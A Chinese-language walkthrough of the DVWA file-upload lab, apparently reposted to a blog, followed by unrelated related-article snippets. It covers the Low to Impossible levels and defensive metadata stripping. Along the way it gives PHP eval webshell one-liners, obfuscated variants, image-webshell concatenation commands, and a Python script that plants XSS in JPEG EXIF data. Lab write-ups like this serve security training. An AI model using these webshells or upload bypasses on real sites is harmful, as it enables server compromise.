upload 文件上传审计

目录

LOW

Medium

HIgh

Impossible


 

概述
很多Web站点都有文件上传的接口(比如注册时上传头像等),由于没有对上传的文件类型进行严格限制,导致可以上传一些文件(比如Webshell)。
上传和SQL、XSS等都是主流的web手法。

 

代码

代码分析
$_FILES变量专门用于获取上传文件的各种信息。
$_FILES['uploaded']['name'],获取客户端文件的原名称;
$_FILES['uploaded']['tmp_name']”,获取文件被上传后在服务端存储的临时文件名。
$target_path=DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
指定文件上传路径为“网站根目录/hackable/uploads”
$target_path =$target_path. basename( $_FILES['uploaded']['name']);
指定上传之后的文件名及保存路径代码分析及攻击方法
move_uploaded_file($_FILES['uploaded']['tmp_name'],$target_path)
将上传后的文件移动到变量Starget_path指定的新位置
在low级别中,没有对上传的文件进行任何过滤,可以直接将php木马文件上传到服
务器中。

 

 

LOW

源码

写shell

1.php
<?php @eval($_POST['cmd']);?># 隐蔽性编码混淆
1.php
<?php $a='_PO'; $b='ST'; $c=$a.$b; @eval($c['cmd']);?>  // 混淆变量名
<?php @eval(gzinflate(base64_decode('...')));?>          // 结合编码绕过检测

上传shell

getshell

冰蝎getshell

 

上传图片shell(Apache 的多后缀解析机制造成解析漏洞:1.php.png逐层解析)

# Linux/mac
# 或用二进制编辑工具在图片尾部添加代码
echo "<?php @eval($_POST['cmd']);?>" >> 1.php.gif# Win
1.jpg
1.php  :<?php @eval($_POST['cmd']);?># 二进制形式合并
CMD>copy /b 1.jpg + 1.php a.jpg

 

Medium

源码

上传xx.jpeg抓包

修改后缀发送

蚁剑连接

 

 

HIgh

源码

上传一个随便改后缀为图片格式的东西

上传图片马

copy /b 1.png + 11.php a.jpeg

抓包修改后缀

Impossible

源码

尝试利用图片元数据

b.py+同目录下放一个正常xxx.jpg==注入元数据合成而已jpg

import os
import piexif# 打印当前工作目录(用于调试)
print(f"当前工作目录:{os.getcwd()}")# 获取脚本所在目录
script_dir = os.path.dirname(os.path.abspath(__file__))
# 配置路径(使用 .jpg 扩展名)
ORIGINAL_IMAGE = os.path.join(script_dir, "test.jpg")  # 使用 .jpg 扩展名
OUTPUT_IMAGE = os.path.join(script_dir, "exploit.jpg")def create_malicious_image():try:# 检查原始图像是否存在if not os.path.exists(ORIGINAL_IMAGE):raise FileNotFoundError(f"文件不存在: {ORIGINAL_IMAGE}")with open(ORIGINAL_IMAGE, "rb") as f:img_data = f.read()# 验证JPEG文件结尾if len(img_data) < 2 or img_data[-2:] != b"\xFF\xD9":print(f"文件长度: {len(img_data)} 字节")print(f"最后两个字节: {img_data[-2:].hex()}")raise ValueError("无效的JPEG文件,缺少结束符 \xFF\xD9")# 创建恶意EXIF数据exif_dict = {"0th": {piexif.ImageIFD.ImageDescription: "<script>alert('XSS');</script>"}}exif_bytes = piexif.dump(exif_dict)# 拼接数据modified_data = img_data[:-2] + exif_bytes + b"\xFF\xD9"# 写入新图像with open(OUTPUT_IMAGE, "wb") as f:f.write(modified_data)print(f"成功生成恶意图像:{OUTPUT_IMAGE}")except FileNotFoundError as e:print(f"错误:{e}")except ValueError as e:print(f"格式错误:{e}")except Exception as e:print(f"未知错误:{e}")if __name__ == "__main__":create_malicious_image()

上传

点击图片链接F12

控制台啥也没看到,估计元数据被清除了

exiftool工具查看上传上去的图片元数据

正常:没看到输出

exif_dict = {"GPS": {0x0001: b"<script>alert('Custom XSS');</script>"  # 这里假设用0x0001作为自定义标签编号}
}

Image Description : <script>alert('XSS');</script>

 

GD函数库

// 此处使用GD库处理JPEG图像
if( $uploaded_type == 'image/jpeg' ) {// imagecreatefromjpeg() - GD库函数,从JPEG文件创建图像资源// 此函数会解析图像像素数据,但会忽略原文件中的EXIF等元数据$img = imagecreatefromjpeg( $uploaded_tmp );// imagejpeg() - GD库函数,将图像资源保存为JPEG文件// 此函数会重新编码图像,且不会保留原始的EXIF元数据imagejpeg( $img, $temp_file, 100);
}
else {// 此处使用GD库处理PNG图像// imagecreatefrompng() - GD库函数,从PNG文件创建图像资源$img = imagecreatefrompng( $uploaded_tmp );// imagepng() - GD库函数,将图像资源保存为PNG文件imagepng( $img, $temp_file, 9);
}
// 释放图像资源,避免内存泄漏
imagedestroy( $img );

$image = new Imagick($uploaded_tmp);
$image->stripImage(); // 彻底移除所有元数据
$image->writeImage($temp_file);

 

 

 

 

 

 

 

 

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/diannao/84125.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【freertos-kernel】list

freertos list 基本类型结构体ListItem_t &#xff08;list.h&#xff09;List_t &#xff08;list.h&#xff09; 宏函数函数vListInitialisevListInitialiseItemvListInsertEndvListInsertuxListRemove 基本类型 freertos为了兼容性&#xff0c;重新定义了基本类型&#xff…

游戏盾的功有哪些?

游戏盾的功能主要包括以下几方面&#xff1a; 一、网络攻击防护 DDoS攻击防护&#xff1a; T级防御能力&#xff1a;游戏盾提供分布式云节点防御集群&#xff0c;可跨地区、跨机房动态扩展防御能力和负载容量&#xff0c;轻松达到T级别防御&#xff0c;有效抵御SYN Flood、UD…

PycharmFlask 学习心得:路由(3-4)

对路由的理解&#xff1a; 用户输入网址 例如&#xff1a;http://localhost:5000/hello 浏览器会向这个地址发起一个 HTTP 请求&#xff08;比如 GET 请求&#xff09; 请求到达 Flask 的服务器 Flask 监听着某个端口&#xff08;如 5000&#xff09;&#xff0c;收到请求后…

课程与考核

6.1 课程讲解与实战考核 6.1.1 SQL注入篇考核 考核目标&#xff1a;通过手动注入与工具结合&#xff0c;获取目标数据库敏感信息。 题目示例&#xff1a; 目标URL&#xff1a;http://vuln-site.com/product?id1 要求&#xff1a; 判断注入类型&#xff08;联合查询/报错注…

线程池介绍,分类,实现(工作原理,核心组成,拒绝策略),固态线程池的实现+详细解释(支持超时取消机制和不同的拒绝策略)

目录 线程池 介绍 分类 实现 工作原理 核心组成 拒绝策略 固态线程池 功能 std::future 实现 拒绝策略支持 提交任务 超时取消 用户检测取消 安全销毁 代码 测试 线程池 介绍 线程池(图解,本质,模拟实现代码),添加单例模式(懒汉思路代码)_线程池单例-CSDN博…

纺线机与PLC通讯故障?ETHERCAT/CANopen网关秒解协议难题

在纺织行业智能化转型浪潮中&#xff0c;设备间高效通信是实现自动化生产的关键。JH-ECT009疆鸿智能EtherCAT转CANopen协议转换网关&#xff0c;凭借出色的协议适配能力&#xff0c;成功架起倍福PLC与自动纺线机间的通信桥梁&#xff0c;为纺织厂自动化生产注入强劲动力。 纺织…

深度剖析并发I/O模型select、poll、epoll与IOCP核心机制

核心概要&#xff1a;select、poll、epoll 和 IOCP 是四种用于提升服务器并发处理能力的I/O模型或机制。前三者主要属于I/O多路复用范畴&#xff0c;允许单个进程或线程监视多个I/O流的状态&#xff1b;而 IOCP 则是一种更为彻底的异步I/O模型。 一、引言&#xff1a;为何需要这…

microsoft中word如何添加个人签名

https://support.microsoft.com/zh-cn/office/%E6%8F%92%E5%85%A5%E7%AD%BE%E5%90%8D-f3b3f74c-2355-4d53-be89-ae9c50022730 插入签名图片 图片格式选择裁剪合适的大小 使用的签名如果不是白色纸张的话可以重新着色 依次点击图片格式——颜色——重新着色——黑白50% 设置透…

linux初识--基础指令

Linux下基础指令 ls 指令 语法&#xff1a; ls [ 选项 ] [ ⽬录或⽂件 ] 功能&#xff1a;对于⽬录&#xff0c;该命令列出该⽬录下的所有⼦⽬录与⽂件。对于⽂件&#xff0c;将列出⽂件名以及其他信 息。 常⽤选项&#xff1a; -a 列出⽬录下的所有⽂件&#xff0c;包括以…

实战:Dify智能体+Java=自动化运营工具!

我们在运营某个圈子的时候&#xff0c;可能每天都要将这个圈子的“热门新闻”发送到朋友圈或聊天群里&#xff0c;但依靠传统的实现手段非常耗时耗力&#xff0c;我们通常要先收集热门新闻&#xff0c;再组装要新闻内容&#xff0c;再根据内容设计海报等。 那怎么才能简化并高…

RabbitMQ可靠传输——持久性、发送方确认

一、持久性 前面学习消息确认机制时&#xff0c;是为了保证Broker到消费者直接的可靠传输的&#xff0c;但是如果是Broker出现问题&#xff08;如停止服务&#xff09;&#xff0c;如何保证消息可靠性&#xff1f;对此&#xff0c;RabbitMQ提供了持久化功能&#xff1a; 持久…

(Java基础笔记vlog)Java中常见的几种设计模式详解

前言&#xff1a; 在 Java 编程里&#xff0c;设计模式是被反复使用、多数人知晓、经过分类编目的代码设计经验总结。他能帮助开发者更高效地解决常见问题&#xff0c;提升代码的可维护性、可扩展性和复用性。下面介绍Java 中几种常见的设计模式。 单例模式&#xff08;Singlet…

(8)Spring Boot 原生镜像支持

Spring Boot 原生镜像支持 👉 点击展开题目 在Spring Boot 3.x中,如何设计一个支持GraalVM原生镜像的微服务?需要特别注意哪些限制? 📌 Spring Boot 3.x 原生镜像概述 Spring Boot 3.x 通过 Spring Native 项目提供了对 GraalVM 原生镜像的一流支持,使开发者能够将 S…

不使用SOAP,从PDF表单连接数据库

不使用SOAP协议&#xff0c;通过XFDF格式实现PDF表单与数据库交互的方法。该方法兼容免费的Adobe Reader&#xff0c;且无需特殊权限设置。 背景与问题 历史方案: Adobe曾提供ADBC接口&#xff08;基于ODBC&#xff09;&#xff0c;但在Acrobat 9后被移除。SOAP方案在免费版Rea…

HTTP由浅入深

文章目录 概述特点URL HTTP 与 HTTPS概述HTTP 工作原理HTTPS 的作用区别总结 请求报文请求行常见请求方法请求头请求体Content-Type 详解常见场景 Content-Type 对应关系 响应报文响应行状态码详解1xx&#xff1a;信息响应&#xff08;Informational&#xff09;2xx&#xff1a…

Redis淘汰策略

Redis有八种淘汰策略 noeviction &#xff1a;不进行淘汰&#xff0c;直接报错。allkeys-lru &#xff1a;随机淘汰最久未使用的键。volatile-lru &#xff1a;从设置了过期时间的键中&#xff0c;随机淘汰最久未使用的键。allkeys-random &#xff1a;随机淘汰某个键。volati…

Maven打包SpringBoot项目,因包含SpringBootTest单元测试和Java预览版特性导致打包失败

SpringBoot启用Java预览版特性&#xff08;无测试类&#xff09; 在pom.xml文件中加入以下配置表示启用Java预览版 <plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-compiler-plugin</artifactId><configuration>…

Makefile快速入门

简介‌&#xff1a; ‌ Makefile‌ 是一种用于自动化构建和管理软件项目的工具文件&#xff0c;通常与 make 命令配合使用。它通过定义‌规则‌&#xff08;rules&#xff09;来指定如何从源文件生成目标文件&#xff08;如可执行程序或库&#xff09;&#xff0c;并自动…

RISC-V 开发板 MUSE Pi Pro OpenCV结合Gstreamer实时显示CSI摄像头

视频讲解&#xff1a;RISC-V 开发板 MUSE Pi Pro OpenCV结合Gstreamer实时显示CSI摄像头_哔哩哔哩_bilibili RISC-V 开发板 MUSE Pi Pro OpenCV结合Gstreamer实时显示CSI摄像头 安装opencv相关库 sudo apt install libopencv-dev python3 python3-opencv 测试使用的CSI摄像头…

如何用JAVA手写一个Tomcat

一、初步理解Tomcat Tomcat是什么&#xff1f; Tomcat 是一个开源的 轻量级 Java Web 应用服务器&#xff0c;核心功能是 运行 Servlet/JSP。 Tomcat的核心功能&#xff1f; Servlet 容器&#xff1a;负责加载、实例化、调用和销毁 Servlet。 HTTP 服务器&#xff1a;监听端口…